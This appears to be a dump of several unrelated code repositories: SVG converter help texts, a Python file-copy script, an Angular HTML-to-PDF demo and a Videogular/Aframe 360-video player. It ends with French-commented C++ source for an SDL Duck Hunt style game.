# =============================================
# === ===
# === function overview: ===
# === - dvisvgm ===
# === - fh2svg ===
# === - mwaw2svg ===
# === - pamtosvg ===
# === - pmd2svg ===
# === - rsvg-convert ===
# === - sd2svg ===
# === - wmf2svg ===
# === - wpg2svg ===
# === - zmf2svg ===
# === - ===
# =============================================
# =============================================
# dvisvgm 2.1.3
#
# This program converts DVI files, as created by TeX/LaTeX, to
# the XML-based scalable vector graphics format SVG.
#
# Usage: dvisvgm [options] dvifile
# dvisvgm -E [options] epsfile
#
# Input options:
# -p, --page=ranges choose page(s) to convert [1]
# -m, --fontmap=filenames evaluate (additional) font map files
# -E, --eps convert an EPS file to SVG
#
# SVG output options:
# -b, --bbox=size set size of bounding box [min]
# -j, --clipjoin compute intersection of clipping paths
# --colornames prefer color names to RGB values if possible
# --comments add comments with additional information
# -f, --font-format=format select file format of embedded fonts [svg]
# --grad-overlap create overlapping color gradient segments
# --grad-segments=number number of color gradient segments per row [20]
# --grad-simplify=delta reduce level of detail for small segments [0.05]
# -L, --linkmark=style select how to mark hyperlinked areas [box]
# -o, --output=pattern set name pattern of output files
# -d, --precision=number set number of decimal points (0-6) [0]
# -R, --relative create relative path commands
# -s, --stdout write SVG output to stdout
# --tmpdir[=path] set/print the directory for temporary files
# -n, --no-fonts[=variant] draw glyphs by using path elements [0]
# --no-merge don't merge adjacent text elements
# --no-styles don't use CSS styles to reference fonts
# -z, --zip[=level] create compressed .svgz file [9]
#
# SVG transformations:
# -r, --rotate=angle rotate page content clockwise [0]
# -c, --scale=sx[,sy] scale page content
# -t, --translate=tx[,ty] shift page content
# -T, --transform=commands transform page content
# -Z, --zoom=factor zoom page content [1]
#
# Processing options:
# -C, --cache[=dir] set/print path of cache directory
# -e, --exact compute exact glyph boxes
# --keep keep temporary files
# --libgs=filename set name of Ghostscript shared library
# -M, --mag=factor magnification of Metafont output [4]
# --no-mktexmf don't try to create missing fonts
# -S, --no-specials[=prefixes] don't process [selected] specials
# -a, --trace-all[=retrace] trace all glyphs of bitmap fonts [no]
#
# Message options:
# --color colorize messages
# -h, --help[=mode] print this summary of options and exit [0]
# -l, --list-specials print supported special sets and exit
# -P, --progress[=delay] enable progress indicator [0.5]
# -v, --verbosity=level set verbosity level (0-7) [7]
# -V, --version[=extended] print version and exit [no]
# `fh2svg' converts FreeHand drawings to SVG.
#
# Usage: fh2svg [OPTION] INPUT
#
# Options:
# --help show this help message
# --version show version information
#
# Report bugs to <https://bugs.documentfoundation.org/>.
#
# Usage: mwaw2svg [-h] [-v] [-t] [-b body | -o file.svg] <Mac Graphic/Presentation Document>
#
# Options:
# -h Shows this help message.
# -b body Defines the file's body name, the different drawings/slides will be stored in body0.svg, body1.svg, ...
# -o file.svg Stores the first drawing/slide in file.svg. Further drawing/slide are not saved.
# -t If set, all drawings/slides are send to file.svg or stdout. This option is only intended for debug/regression test.
# -v: Outputs mwaw2svg version.
#
# Note:
# the content of the first drawing/slide is sent to stdout if neither -b nor -o options are given.
# Pamtosvg User Manual(0) Pamtosvg User Manual(0)
#
# NAME
# pamtosvg - convert a Netpbm image to a SVG (Scalable Vector Graphics)
# image
#
# SYNOPSIS
# pamtosvg
#
# [-background-color=colorname] [-centerline] [-corner-threshold=angle]
# [-corner-always-threshold=angle] [-corner-surround=integer] [-tangent-
# surround=integer] [-error-threshold=float] [-filter-iterations=count]
# [-line-reversion-threshold=float] [-line-threshold=float] [-width-
# weight-factor=float] [-preserve-width] [-remove-adjacent-corners]
# [-log] [-report-progress] [pnmfile]
#
# Minimum unique abbreviation of option is acceptable. You may use dou‐
# ble hyphens instead of single hyphen to denote options. You may use
# white space in place of the equals sign to separate an option name
# from its value.
#
# DESCRIPTION
# This program is part of Netpbm(1)
#
# pamtosvg reads a PNM image as input and produce an SVG (Scalable Vec‐
# tor Graphics) image as output. Thus, it traces curves in the input
# image and creates a set of splines that represent the image.
#
# SVG is a vector image format, which means it describes curves that
# compose an image. By contrast, PNM is a raster format, which means it
# describes dots that compose an image. The main practical difference
# between the two types is that you can scale vector images better. A
# vector image also takes a lot less data to describe an image if the
# image is composed of simple curves.
#
# That means it is really an understatement to say that pamtosvg is an
# image format converter. It's really an image tracer. Its main job is
# to trace a raster image and find the lines in it. It then represents
# its findings in SVG format.
#
# pamtosvg does the same kind of thing that StreamLine, CorelTrace, and
# Autotrace do. It is in fact derived from Autotrace.
#
# SVG is a gigantic format, capable of amazing things. pamtosvg
# exploits only a morsel of it. The SVG image produced by pamtosvg con‐
# sists of a single <svg> element, which has a 'width' attribute and a
# 'height' attribute. The value of that element is composed of <path>
# elements. That's it.
#
# In the SVG output, distances are unitless, with one unit corresponding
# to one pixel of the input.
#
# So that pamtosvg will find simple curves in the image, you may want to
# remove speckles from it with pbmclean and consolidate multiple shades
# into single colors with pnmquant first.
#
# For more information on SVG, see the Worldwide Web Consortium's SVG
# web page ⟨http://www.w3.org/Graphics/SVG/⟩ .
#
# OPTIONS
# -background-color=colorname
# Treat the specified color as the background color and ignore
# it.
#
# If you don't specify this option, pamtosvg does not recognize
# any background color.
#
# Specify the color (colorname) as described for the argument of
# the ppm_parsecolor() library routine ⟨libppm.html#colorname⟩ .
#
# -centerline
# Trace an object's centerline.
#
# By default, pamtosvg traces an object's outline.
#
# -corner-always-threshold=angle
# Consider any angle at a pixel which falls below angle angle (in
# decimal floating point degrees) as a corner, even if it is bor‐
# dered by other corner pixels. Default is 60 degrees.
#
# -corner-surround=integer
# Consider the specified number of pixels on either side of a
# point when determining if that point is a corner. Default is
# 4.
#
# -corner-threshold=angle
# Consider any pixel which forms an angle with its predecessors
# and successors that is smaller than angle (in decimal floating
# point degrees) as a corner. Default is 100.
#
# -error-threshold=float
# Subdivide fitted curves that are offset by a number of pixels
# exceeding the specified number. Default is 2.0.
#
# -filter-iterations=integer
# Smooth the curve the specified number of times prior to fitting
# Default is 4.
#
# -line-reversion-threshold=float
# When a spline is closer to a straight line than the specified
# real number weighted by the square of the curve length, main‐
# tain it as a straight line, even if it is a list with curves.
#
# Default is .01.
#
# -line-threshold=float
# If a spline does not deviate from the straight line defined by
# its endpoints by more than the specified number of pixels, then
# treat it as a straight line.
#
# Default is 1.
#
# -log Create a log of the curve tracing process (suitable for debug‐
# ging). Put it in the file named inputfile.log in the current
# directory, where inputfile is the root of the input file name,
# or 'pamtosvg' if the input is from Standard Input or a file
# with a weird name.
#
# -preserve-width
# Preserve line width prior to thinning. Meaningful only with
# -centerline.
#
# remove-adjacent-corners
# Remove adjacent corners.
#
# -report-progress
# Report the progress of the tracing to Standard Error as it hap‐
# pens.
#
# -tangent-surround
# Consider the specified number of points to either side of a
# point when computing the tangent at that point. Default is 3.
#
# -width-weight-factor
# Weight factor for fitting the linewidth.
#
# Application Notes
# A convenient way to view an SVG document is with a web browser. Many
# understand a file whose name ends in '.svg' to be an SVG image and can
# render it.
#
# SEE ALSO
# pnmquant(1) , pbmclean(1) , pnm(5) , Autotrace
# ⟨http://autotrace.sourceforge.net⟩
#
# HISTORY
# pamtosvg was added to Netpbm in Version 10.33 (March 2006).
#
# The core of pamtosvg -- the curve tracing logic -- was taken nearly
# unmodified from <NAME>'s Autotrace program. That program dupli‐
# cates a lot of Netpbm function, so pamtosvg is a much leaner program.
#
# <NAME> created pamtosvg, basically just by adapting Autotrace
# to Netpbm.
#
# Autotrace was first released in 2000 and updates were released through
# 2002. A number of people wrote the code in it, but <NAME>
# and <NAME> appear to be the principal creators of it.
#
# As of June 2006, there was a Sourceforge project
# ⟨http://autotrace.sourceforge.net⟩ for it.
#
# netpbm documentation 23 April 2006 Pamtosvg User Manual(0)
# `pmd2svg' converts Adobe PageMaker documents to SVG.
#
# Usage: pmd2svg [OPTION] INPUT
#
# Options:
# --help show this help message
# --version show version information and exit
#
# Report bugs to <https://bugs.documentfoundation.org/>.
#
# rsvg-convert(1General Commands Manuarsvg-convert(1)
#
# NAME
# rsvg-convert - turn SVG files into raster
# images.
#
# SYNOPSIS
# rsvg-convert [options] in.svg > out.png
#
# DESCRIPTION
# Converts SVG images into PNG raster images,
# PDF, PS, or SVG vector images, or dumps of
# Cairo XML or recording surfaces.
#
# OPTIONS
# -d --dpi-x number
# Set the X resolution of the image in
# pixels per inch. RSVG's current
# default is 90dpi
#
# -p --dpi-y number
# Set the Y resolution of the image in
# pixels per inch. RSVG's current
# default is 90dpi
#
# -x --x-zoom number
# X Zoom factor, as a percentage. If
# unspecified, 1.0 is used as the
# default.
#
# -y --y-zoom number
# Y Zoom factor, as a percentage. If
# unspecified, 1.0 is used as the
# default.
#
# -z ---zoom number
# Zoom factor, as a percentage. If
# unspecified, 1.0 is used as the
# default.
#
# -w --width integer
# Specify how wide you wish the image
# to be. If unspecified, the natural
# width of the image is used as the
# default.
#
# -h --height integer
# Specify how tall you wish the image
# to be. If unspecified, the natural
# height of the image is used as the
# default.
#
# -f --format [png, pdf, ps, svg, xml, record‐
# ing]
# Specify the output format you wish
# the image to be saved in. If unspeci‐
# fied, PNG is used as the default.
#
# -o --output filename
# Specify the output filename. If
# unspecified, outputs to stdout.
#
# -a --keep-aspect-ratio
# Specify that the aspect ratio is to
# be preserved. If unspecified, aspect
# ratio will not be preserved.
#
# -b --background-color [black, white, #abc‐
# cee, #aaa...]
# Specify the background color. If
# unspecified, none is used as the
# default.
#
# --base-uri uri
# Specify the base URI for SVG files.
# If unspecified, none is used as the
# default.
#
# -v --version
# Display what version of rsvg this is.
#
# MORE INFORMATION
# http://librsvg.sourceforge.net/
# http://www.w3.org/TR/SVG11/
# http://www.gnome.org/
#
# AUTHORS
# <NAME> (<EMAIL>), Caleb
# Moore (<EMAIL>), and a
# host of others.
#
# rsvg-convert(1)
#
# `sd2svg' converts StarOffice graphic documents and presentations to SVG.
#
# Usage: sd2svg [OPTION] INPUT
#
# Options:
# -h show this help message
# -o OUTPUT write ouput to OUTPUT
# -N Output the number of sheets
# -n NUM choose the page to convert (1: means first page)
# -v show version information
#
# Report bugs to <https://github.com/fosnola/libstaroffice/issues>.
#
# Usage: wmf2svg [OPTION]... [-o <file.svg>] <file.wmf>
# or: wmf2svg [OPTION]... --auto <file1.wmf> [<file2.wmf> ...]
# Convert metafile image to W3C's scaleable vector graphic (SVG) format.
#
# -z compressed output (.svgz)
# --inline include images in the svg code
# --desc=<str> description tag
# --maxwidth=<w> where <w> is maximum width image may have.
# --maxheight=<h> where <h> is maximum height image may have.
# --maxpect scale image to maximum size keeping aspect.
# --maxsize scale image to maximum size.
# --version display version info and exit.
# --help display this help and exit.
# --wmf-help display wmf-related help and exit.
#
# Report bugs to <http://www.wvware.com/>.
#
# `wpg2svg' converts WordPerfect Graphics images to SVG.
#
# Usage: wpg2svg [OPTION] FILE
#
# Options:
# --help show this help message
# --version show version information and exit
#
# Report bugs to <https://sourceforge.net/p/libwpg/tickets/> or <https://bugs.documentfoundation.org/>.
#
# `zmf2svg' converts Zoner Draw documents to SVG.
#
# Usage: zmf2svg [OPTION] INPUT
#
# Options:
# --help show this help message
# --version show version information and exit
#
|
599d39cc9c854d693a008511912b89d4c0238bb3
|
[
"Markdown",
"Python",
"Shell"
] | 39 |
Markdown
|
Kegn/DevOps-Portfolio
|
214cf9725f3a48ec8294263a9eca3e9de8254cee
|
d1549643c018ca255fa36942ea360e0556146add
|
refs/heads/master
|
<file_sep>import { Component } from '@angular/core';
import * as jsPDF from 'jspdf';
declare const $;
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
title = 'app';
// downloading from the xponline downloader
public downloadPdf() {
return xepOnline.Formatter.Format('content',{ render: 'download'});
} // end : downloadPdf
// download from jsPDF downloader
downloadJSPDF() {
debugger;
let doc = new jsPDF();
doc.setFontSize(16);
doc.addHTML($('#content')[0], 15, 15, {
'background': '#fff',
}, function() {
doc.save('sample-file.pdf');
});
}
} // end: export
<file_sep>#Description
This is demo for converting HTML content into PDF.The demo is achieved using following:
#1.jsPDF
#2.xepOnline plugin
## 1. jsPDF
Steps:
1. Download jsPDF from NPM
npm install jspdf --save
Include Dev dependency
npm install @types/jspdf --save -dev
Include /jspdf.min.js into your application's index.html
you will get the file from https://github.com/MrRio/jsPDF/blob/master/dist/jspdf.min.js
2. In the app.component.html
```
<button (click)="downloadJSPDF()">Download from jsPDF </button>
```
& In app.component.ts mention the code to convert and download the PDF.
```
let doc = new jsPDF();
doc.setFontSize(16);
doc.addHTML($('#content')[0], 15, 15, {
'background': '#fff',
}, function() {
doc.save('sample-file.pdf');
});
```
for more visit: https://rawgit.com/MrRio/jsPDF/master/
###2.xepOnline plugin
Steps:
1. Import jQuery 3.2.1 in the index.html
2. Import http://www.cloudformatter.com/Resources/Pages/CSS2Pdf/Script/xepOnline.jqPlugin.js in the index.html
3. In the typing.d.ts file of your project
```
declare var xepOnline:any;
```
4.In app.component.html
```
<button (click)="downloadPdf()">Download from xepOnline </button>
```
5.In app.component.ts
```
public downloadPdf() {
return xepOnline.Formatter.Format('content',{ render: 'download'});
}
```
# HtmlPDF
This project was generated with [Angular CLI](https://github.com/angular/angular-cli) version 1.7.3.
## Development server
Run `ng serve` for a dev server. Navigate to `http://localhost:4200/`. The app will automatically reload if you change any of the source files.
## Code scaffolding
Run `ng generate component component-name` to generate a new component. You can also use `ng generate directive|pipe|service|class|guard|interface|enum|module`.
## Build
Run `ng build` to build the project. The build artifacts will be stored in the `dist/` directory. Use the `-prod` flag for a production build.
## Running unit tests
Run `ng test` to execute the unit tests via [Karma](https://karma-runner.github.io).
## Running end-to-end tests
Run `ng e2e` to execute the end-to-end tests via [Protractor](http://www.protractortest.org/).
## Hopefully you will find this demo useful.
|
0cdcc4e0dbca56403ee104528f8272ffc468e0e4
|
[
"Markdown",
"TypeScript"
] | 2 |
TypeScript
|
pratibhaHankare/htmlToPdfConvert
|
95d7906c04d5e0dd74f66821f372be9c26647e30
|
fd5ec5afd264fba0158292513f037c2fa909a158
|
refs/heads/master
|
<file_sep>import os
import shutil
import json
with open('selected_1.json') as file:
data = json.load(file)
folders = data["folders"]
# print(folders)
for folder in folders:
src = folder["src"]
dest = folder["dest"]
if not os.path.exists(dest):
os.makedirs(dest)
src_files = folder["files"]
print(src_files)
for file_name in src_files:
src_full_path = os.path.join(src, file_name)
dest_fill_path = os.path.join(dest, file_name)
if (os.path.isfile(src_full_path)):
shutil.copy(src_full_path, dest_fill_path)
|
4e6ea226e885da454df30f619dfe64393a05e6b3
|
[
"Python"
] | 1 |
Python
|
kishorep92/copy_files
|
31639f90b26eb8fd8ef275b5601fba9b0c196cad
|
e6ba2e5c70db77f8f8b5acb24b17ae4b92e90001
|
refs/heads/main
|
<file_sep>import os
print(os.listdir())
print("The main number is 3")
b = input('Enter your number:')
def jls_extract_def():
return b
if(b == 3):
print('The number is equal to 3')
elif(b < 3):
print("The number is greater than 3")
elif(jls_extract_def() < 3):
print("The number is less than 3")
else:
print("Undefined")<file_sep>alert("our website is in BETA Version");
|
4cd92df7aee70623fc89649999ddf4234c55b0bc
|
[
"JavaScript",
"Python"
] | 2 |
Python
|
shikhar0512L/RE-HOST
|
7b2c43cb84895c6a1a976abbce76b9d6b2743380
|
86026e2b50033433a7c69527c30691d23d03c7cc
|
refs/heads/master
|
<repo_name>rahulvadhiya-vmukti/videogular-aframe-live-streaming<file_sep>/src/app/pages/native-video/native-video.component.ts
import { Component, ViewChild, OnInit } from '@angular/core';
@Component({
selector: 'video-app',
templateUrl: './native-video.component.html',
styleUrls: ['./native-video.component.css']
})
export class NativeVideoComponent implements OnInit{
hlsBitrates = [];
src = "";
ngOnInit() {
// const url = 'http://yourdomain.com/yourvideo.mp4';
// const mediaSource = new MediaSource();
// var video = document.querySelector('video');
// video.src = window.URL.createObjectURL(mediaSource);
// mediaSource.addEventListener('sourceopen', function(e) {
// var sourceBuffer = mediaSource.addSourceBuffer('video/webm; codecs="vorbis,vp8"');
// sourceBuffer.appendBuffer(oneVideoWebMChunk);
// }, false);
// this.src = window.URL.createObjectURL("https://player.vimeo.com/external/277472429.hd.mp4?s=be6892ff1ac2e12fea2752f7ee5ab71c17ffceeb&profile_id=175")
// console.log(this.src);
}
}
<file_sep>/src/app/pages/video-aframe/video-aframe.component.ts
import { Component, ViewChild } from '@angular/core';
import { VgHLS } from 'videogular2/src/streaming/vg-hls/vg-hls';
@Component({
selector: 'video-aframe-app',
templateUrl: './video-aframe.component.html',
styleUrls: ['./video-aframe.component.css']
})
export class VideoAframeComponent {
hlsBitrates = [];
@ViewChild(VgHLS) vgHls: VgHLS;
}
<file_sep>/src/app/pages/video/video.component.ts
import { Component, ViewChild } from '@angular/core';
import { VgHLS } from 'videogular2/src/streaming/vg-hls/vg-hls';
@Component({
selector: 'video-app',
templateUrl: './video.component.html',
styleUrls: ['./video.component.css']
})
export class VideoComponent {
hlsBitrates = [];
@ViewChild(VgHLS) vgHls: VgHLS;
}
<file_sep>/README.md
# VideogularAframe
This project is a showcase of Videogular2 player with Aframe and HLS (HTTP Live streaming)
## Showcase
This is good example for developers who would like to have 360 Video player on their Angular 6 web application.
## Issues which we would like to show and find solutions
1. AFrame issue - Example with AFrame not working on iOS11 - Player is working, but no picture. The same player working with picture without Aframe.
2. Videogular issue - We are getting this error only for pages where we have Videogular2
ERROR Error: Uncaught (in promise): Event: {"isTrusted":true}
## DEMO
[http://videogular2-aframe.freedom-dev.com/video-aframe](http://videogular2-aframe.freedom-dev.com/video-aframe)
## Components used
- Videogular2 6.2.2
- Aframe 0.8.2
- HLS.js
|
80b29054a8e69de28ebf788727793f0637d56629
|
[
"Markdown",
"TypeScript"
] | 4 |
TypeScript
|
rahulvadhiya-vmukti/videogular-aframe-live-streaming
|
6d5b09653951dc3f14a08a9cde0cd4f9bf169dc7
|
cc4d418b934dcb52e65266c5c011f2abfd650283
|
refs/heads/master
|
<file_sep>#ifndef CANARD_H
#define CANARD_H
// couleur: 0 = noir, 1 = marron, 2 = bleueeee
struct Canard{
int x;//position x du canard
int y;//position y du canard
int mvx;//Mouvement x du canard
int mvy;//Mouvement y du canard
int couleur;//couleur du canard
bool isDead;//Booléen canard mort
SDL_Rect rect;//Rectangle du canard
int time;//Temps pour l'afficher en ttf de Niveau
bool echape;//Booléen canard échappé
};
void initCanard(Canard &can, int x, int y, int couleur);
void updateCan(SDL_Surface *screen, SDL_Surface *duck, Canard &can);
void moveCanard(Canard &can);
#endif // CANARD_H
<file_sep>#ifndef NIVEAU_H
#define NIVEAU_H
#include <canard.h>
#include <SDL/SDL.h>
struct Hit
{
SDL_Rect rect;
int state; //0 = neutre, 1 = raté, 2 = touché
};
struct Niveau
{
Canard cNoir;
Canard cMarron;
Canard cBleu;
Hit hit[10];
int nbHit;
int score;
int level;
int time;
int nbCanRate;
bool start;
bool perdu;
};
void initNiveau(Niveau &niv, int level, int score);
void updateNiv(SDL_Surface *screen, SDL_Surface *duck, Niveau &niv);
void genRandomPos(int &x, int &y);
void killRandomCan(Niveau &niv);
void killCan(Canard &can, Niveau &niv);
int getNbAliveCan(Niveau &niv);
#endif // NIVEAU_H
<file_sep>#ifndef AFFICHAGE_H
#define AFFICHAGE_H
#include <SDL/SDL.h>
#include <canard.h>
#include <SDL/SDL_ttf.h>
#include <niveau.h>
struct Menu
{
SDL_Surface *tJouer, *tJouerS, *tQuit, *tQuitS, *fondMenu = NULL;
SDL_Rect rjouer, rQuit;
SDL_Color menuColor;
SDL_Color menuColorS;
TTF_Font *menuFonts;
bool sJouer, sQuit;
};
void applySurface(int x, int y, SDL_Surface* source,SDL_Surface* destination, SDL_Rect* clip);
bool onRect(int x, int y, SDL_Rect rect);
void initMenu(Menu &menu);
void showMenu(Menu menu, SDL_Surface *screen);
void showBullet(int nbBullet, SDL_Surface *screen, SDL_Surface *bullet);
void showDuck(SDL_Surface *screen, SDL_Surface *duck, Canard can);
void showHit(SDL_Surface *screen, SDL_Surface *hitSurface, Hit hit[]);
void showScore(SDL_Surface *screen, SDL_Surface *scoreSurface, TTF_Font *font, int score);
void showLevel(SDL_Surface *screen, SDL_Surface *nivSurface, TTF_Font *font, Niveau &niv);
void showGameOver(SDL_Surface *screen, SDL_Surface *gameOverSurface, TTF_Font *font, Niveau &niv);
#endif // AFFICHAGE_H
<file_sep>#include <iostream>
#include <SDL/SDL.h>
#include <niveau.h>
#include <canard.h>
#include <cstdlib>
#include <ctime>
extern int nbAmmo;
const int SCREEN_WIDTH=750;
const int SCREEN_HEIGHT=761;
/****************** Nom de la fonction **********************
* InitNiveau *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> et <NAME> *
********************* Description ***************************
* Elle initialise le niveau avec le score, le level actuel, *
* le nombre de balle,l'initialisation des canards avec la *
* fonction "initCanard" utilisant les valeurs pour x et y *
* de la fonction genRandomPos, ainsi que les 10 canards *
* neutres que l'on va jouer dans le niveau. *
*********************** Entrées *****************************
* Elle prend en entrer la structure niv, le level, et le *
* score *
*********************** Sorties *****************************
* La structure niv *
************************************************************/
void initNiveau(Niveau &niv, int level, int score)
{
nbAmmo = 3;
niv.score = score;
niv.level = level;
niv.time = 0;
niv.start = true;
niv.nbCanRate = 0;
niv.perdu = false;
int x;
int y;
genRandomPos(x,y);
initCanard(niv.cNoir, x, y, 0);
genRandomPos(x,y);
initCanard(niv.cMarron, x, y, 1);
genRandomPos(x,y);
initCanard(niv.cBleu, x, y, 2);
killRandomCan(niv);
niv.nbHit = 0;
for(int i=0; i<10;i++)
{
niv.hit[i].state = 0;
niv.hit[i].rect = {33*i + 190, 670, 10, 10};
}
}
/****************** Nom de la fonction **********************
* updateNiv *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> *
********************* Description ***************************
* C'est la fonction général du jeu. *
*********************** Entrées *****************************
* Elle prend en entrée les surfaces screen et duck et la *
* structure niv *
*********************** Sorties *****************************
* structure niv *
************************************************************/
void updateNiv(SDL_Surface *screen, SDL_Surface *duck, Niveau &niv)
{
updateCan(screen, duck, niv.cNoir);
updateCan(screen, duck, niv.cMarron);
updateCan(screen, duck, niv.cBleu);
if(nbAmmo <= 0)
{
niv.cBleu.echape = true;
niv.cMarron.echape = true;
niv.cNoir.echape = true;
}
if(niv.nbHit >= 10){
niv.time++;
if(niv.time > 20){
initNiveau(niv, niv.level + 1, niv.score);
}
}
else if((niv.cNoir.y > SCREEN_HEIGHT - 200 || niv.cNoir.y < -20) &&
(niv.cMarron.y > SCREEN_HEIGHT - 200 || niv.cMarron.y < -20) &&
(niv.cBleu.y > SCREEN_HEIGHT - 200 || niv.cBleu.y < -20))
{
if(nbAmmo <= 0){
int alive = getNbAliveCan(niv);
for(int i = niv.nbHit; i < alive + niv.nbHit;i++){
niv.hit[i].state = 1;
niv.nbCanRate++;
}
niv.nbHit += alive;
}
if(niv.nbHit < 10)
{
nbAmmo = 3;
int x;
int y;
genRandomPos(x,y);
initCanard(niv.cNoir, x, y, 0);
genRandomPos(x,y);
initCanard(niv.cMarron, x, y, 1);
genRandomPos(x,y);
initCanard(niv.cBleu, x, y, 2);
killRandomCan(niv);
}
}
if(niv.nbCanRate > 4){
niv.perdu = true;
}
}
/****************** Nom de la fonction **********************
* NOM_FONCTION : getNbAliveCan *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> *
********************* Description ***************************
* Permet de compter le nombreux de canard en vie lorsque que*
* l'on a plus de balle *
*********************** Entrées *****************************
* Elle prend en entrée la structure niv *
*********************** Sorties *****************************
* Elle prend en sortie la structure niv *
************************************************************/
int getNbAliveCan(Niveau &niv)
{
int a = 0;
if(!niv.cBleu.isDead)
a++;
if(!niv.cMarron.isDead)
a++;
if(!niv.cNoir.isDead)
a++;
return a;
}
/****************** Nom de la fonction **********************
* NOM_FONCTION : killCan *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> *
********************* Description ***************************
* Permet de savoir si un canard est tué. Elle va augmenter
* le score en fonction de la couleur du canard tué ainsi que
* changer la couleur du canard.
*********************** Entrées *****************************
* Elle prend en entrée la structure can et niv *
*********************** Sorties *****************************
* Elle prend en sortie la structure can et niv *
************************************************************/
void killCan(Canard &can, Niveau &niv)
{
can.isDead = true;
niv.hit[niv.nbHit].state = 2;
niv.nbHit++;
if(can.couleur == 0){
niv.score += 500;
}else if(can.couleur == 1){
niv.score += 1000;
}else{
niv.score += 1500;
}
}
/****************** Nom de la fonction **********************
* NOM_FONCTION: genRandomPos *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> *
********************* Description ***************************
* Elle prend des valeurs aléatoire pour x et y *
*********************** Entrées *****************************
* Elle prend en entrée deux entiers x et y *
*********************** Sorties *****************************
* Elle prend en sortie les deux même entiers x et y *
************************************************************/
void genRandomPos(int &x, int &y)
{
x = rand() % 650 + 10;
y = rand() % 400 + 10;
}
/****************** Nom de la fonction **********************
* NOM_FONCTION : killRandomCan *
******************** Auteur , Dates *************************
* Nom/Date : <NAME> *
********************* Description ***************************
* Tue un des 3 canards aléatoirement *
*********************** Entrées *****************************
* Elle prend en entrée la structure niv *
*********************** Sorties *****************************
* Elle prend en sortie la structure niv *
************************************************************/
void killRandomCan(Niveau &niv)
{
int a = rand() % 3;
if(a == 0){
niv.cBleu.isDead = true;
niv.cBleu.y = SCREEN_HEIGHT;
}
if(a == 1){
niv.cMarron.isDead = true;
niv.cMarron.y = SCREEN_HEIGHT;
}
if(a == 2){
niv.cNoir.isDead = true;
niv.cNoir.y = SCREEN_HEIGHT;
}
}
<file_sep>#include <cstdlib>
#include <string>
#include <sstream>
#include <iostream>
#include <SDL/SDL.h>
#include <SDL/SDL_image.h>
#include <SDL/SDL_ttf.h>
#include <affichage.h>
#include <canard.h>
#include <niveau.h>
extern bool showmenu;
void applySurface(int x, int y, SDL_Surface *source, SDL_Surface* destination, SDL_Rect* clip)
{
SDL_Rect offset = {x, y, 0 ,0};
SDL_BlitSurface(source, clip, destination, &offset);
}
bool onRect(int x, int y, SDL_Rect rect)
{
return ((x > rect.x && x < rect.x+rect.w) && (y > rect.y && y < rect.y+rect.h));
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void initMenu(Menu &menu)
{
menu.sJouer, menu.sQuit = false;
menu.menuFonts = TTF_OpenFont("duck_hunt.ttf",100);
menu.menuColor = {0, 0 ,0};
menu.menuColorS = {200, 200 ,200};
menu.tJouer = TTF_RenderText_Blended(menu.menuFonts, "Jouer", menu.menuColor);
menu.tJouerS = TTF_RenderText_Blended(menu.menuFonts, "Jouer", menu.menuColorS);
menu.rjouer = {80, 80, 275, 90};
menu.tQuit = TTF_RenderText_Blended(menu.menuFonts, "Quitter", menu.menuColor);
menu.tQuitS = TTF_RenderText_Blended(menu.menuFonts, "Quitter", menu.menuColorS);
menu.rQuit = {80, 200, 375, 90};
std::string smenu = "menu.png";
menu.fondMenu = IMG_Load(smenu.c_str());
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void showMenu(Menu menu, SDL_Surface *screen)
{
applySurface(0, 0, menu.fondMenu, screen, NULL);
if(menu.sJouer)
SDL_BlitSurface(menu.tJouerS, NULL, screen, &menu.rjouer);
else
SDL_BlitSurface(menu.tJouer, NULL, screen, &menu.rjouer);
if(menu.sQuit)
SDL_BlitSurface(menu.tQuitS, NULL, screen, &menu.rQuit);
else
SDL_BlitSurface(menu.tQuit, NULL, screen, &menu.rQuit);
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void showBullet(int nbBullet, SDL_Surface *screen, SDL_Surface *bullet)
{
SDL_Rect rect;
if(nbBullet == 3)
rect = {232, 2, 73, 48};
else if(nbBullet == 2)
rect = {156, 2, 73, 48};
else if(nbBullet == 1)
rect = {79, 2, 73, 48};
else
rect = {2, 2, 74, 48};
applySurface(63 , 660, bullet, screen, &rect);
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
* Vous décrivez ici ce que fait cette fonction *
*********************** Entrées *****************************
* Vous décrivez ici les données en entrée de la fonction *
*********************** Sorties *****************************
* Vous détaillez ici ce que renvoie la fonction *
************************************************************/
void showDuck(SDL_Surface *screen, SDL_Surface *duck, Canard can)
{
SDL_Rect rect;
int posCouleur;
if(can.couleur == 0) //Noir
{
posCouleur = 227;
}else if(can.couleur == 1) //marron
{
posCouleur = 312;
}else //BLUEUEEUIEUUEUE
{
posCouleur = 392;
}
if(!can.isDead){
if(can.time % 8 < 2)
rect = {0, posCouleur, 79, 87};
else if(can.time % 8 < 4)
rect = {75, posCouleur, 72, 87};
else if(can.time % 8 < 6)
rect = {150, posCouleur, 65, 87};
else
rect = {75, posCouleur, 72, 87};
} else {
if(can.time % 6 < 3)
rect = {529, posCouleur, 40, 87};
else
rect = {578, posCouleur, 40, 87};
}
applySurface(can.x , can.y, duck, screen, &rect);
}
/****************** Nom de la fonction **********************
* NOM_FONCTION *
******************** Auteur , Dates *************************
* Nom/Date : Éventuellement la version *
********************* Description ***************************
